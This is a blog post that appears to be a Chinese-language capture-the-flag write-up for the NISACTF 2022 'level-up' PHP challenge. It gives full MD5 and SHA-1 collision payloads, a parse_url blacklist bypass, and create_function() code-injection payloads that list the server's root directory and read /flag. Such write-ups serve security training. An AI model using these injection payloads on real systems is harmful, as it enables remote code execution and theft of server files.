[NISACTF 2022]level-up wp

Leafzzz__

已于 2023-04-12 18:35:05 修改

阅读量718

点赞数 5

分类专栏： web刷题文章标签： php web安全正则表达式

于 2023-04-12 18:31:32 首次发布

本文链接：https://blog.csdn.net/Leaf_initial/article/details/130113546

版权

web刷题专栏收录该内容

17 篇文章 4 订阅

订阅专栏

[NISACTF 2022]level-up

好题！

上来显示nothing here但是通过查看源码可以知道有Disallow指令，说明有robots.txt文件，直接访问
Disallow指令

Disallow 是指一个文件或目录的指令，用于告诉搜索引擎不要访问或抓取这些内容。这通常在 robots.txt 文件中使用，该文件位于网站的根目录下，它告诉搜索引擎哪些页面可以访问，哪些页面应该被忽略。

例如，如果一个网站有一个包含私人信息的目录，如 /private，但不希望搜索引擎抓取这个目录下的内容，就可以在 robots.txt 文件中使用 Disallow 指令来限制访问，如下所示：

User-agent: *
Disallow: /private/

在这里插入图片描述

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TG32XUn2-1681294363462)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\1681210443729.png)]$

找到了level2，直接访问，然后开始代码审计

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

这里一开始想用数组绕过，但是返回？？？？说明在弱比较的时候就寄了，没办法，只能用md5强碰撞，构造payload（这里用hackbar一直显示level2 failed，但是换成bp就好了，不懂)：

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

在这里插入图片描述

然后我们访问Level___3.php

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

这次就是sha1强碰撞了，直接构造payload：

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

在这里插入图片描述

接下来去访问level_level_4.php

<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>

这里parse_url的作用是会把请求参数中的所有非法字符转为下划线，由此，我们可以构造payload，让+变成_:

?NI+SA+=txw4ever

又回显出新文件55_5_55.php（不是说最后一关了吗）我们直接访问一下

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

还给我道歉，我谢谢您，这不会了，看了看佬们的wp
关键在于$a('',$b);是create_function()代码注入：
create_function()简介
适用范围：PHP 4> = 4.0.1，PHP 5，PHP 7

功能：根据传递的参数创建匿名函数，并为其返回唯一名称。

语法：

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

函数功能分析：

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

输出：

New anonymous function:  lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599

reate_function()会创建一个匿名函数（lambda样式）

create_function()函数会在内部执行 eval()，我们发现是执行了后面的return语句，属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

在level5中，构造payload的时候，注意正则匹配
preg_match('/^[a-z0-9_]*$/isD',$a，说明我们在构造payload的时候第一个字母不能为数字或者字母，所以我们需要绕过正则，这里要用\（转义符绕过，构造payload:

?a=\create_function&b=return 'Leaf';}phpinfo();/*

解释一下上面的payload：

\的作用是绕过正则匹配preg_match，第一个;是让return 语句结束，}的作用是让create_function语句闭合，然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行

既然可以显示phpinfo，那我们这里要利用var_dump函数来打印根目录，构造payload：

?a=\create_function&b=return 'Leaf';}var_dump(scandir("/"));/*

在这里插入图片描述

可以看见在根目录的中有flag文件，接下来对flag中的内容进行显示

这里用的是var_dump打印函数和file_get_contents函数一起使用来显示/flag中的内容，构造exp:

?a=\create_function&b=return 'Leaf';}var_dump(file_get_contents("/flag"));/*

拿到flag，结束

上点creat_function函数详解
[php代码审计]之create_function()函数
 PHP create_function代码注入
 create_function()函数的简介

Leafzzz__

关注

5
点赞
踩
7

收藏

觉得还不错? 一键收藏
打赏
1
评论
[NISACTF 2022]level-up wp

好题！上来显示nothing here但是通过查看源码可以知道有Disallow指令，说明有robots.txt文件，直接访问Disallow指令例如，如果一个网站有一个包含私人信息的目录，如 /private，但不希望搜索引擎抓取这个目录下的内容，就可以在 robots.txt 文件中使用 Disallow 指令来限制访问，如下所示：找到了level2，直接访问，然后开始代码审计这里一开始想用数组绕过，但是返回？？？？说明在弱比较的时候就寄了，没办法，只能用md5强碰撞，构造payload（这里用h
复制链接

扫一扫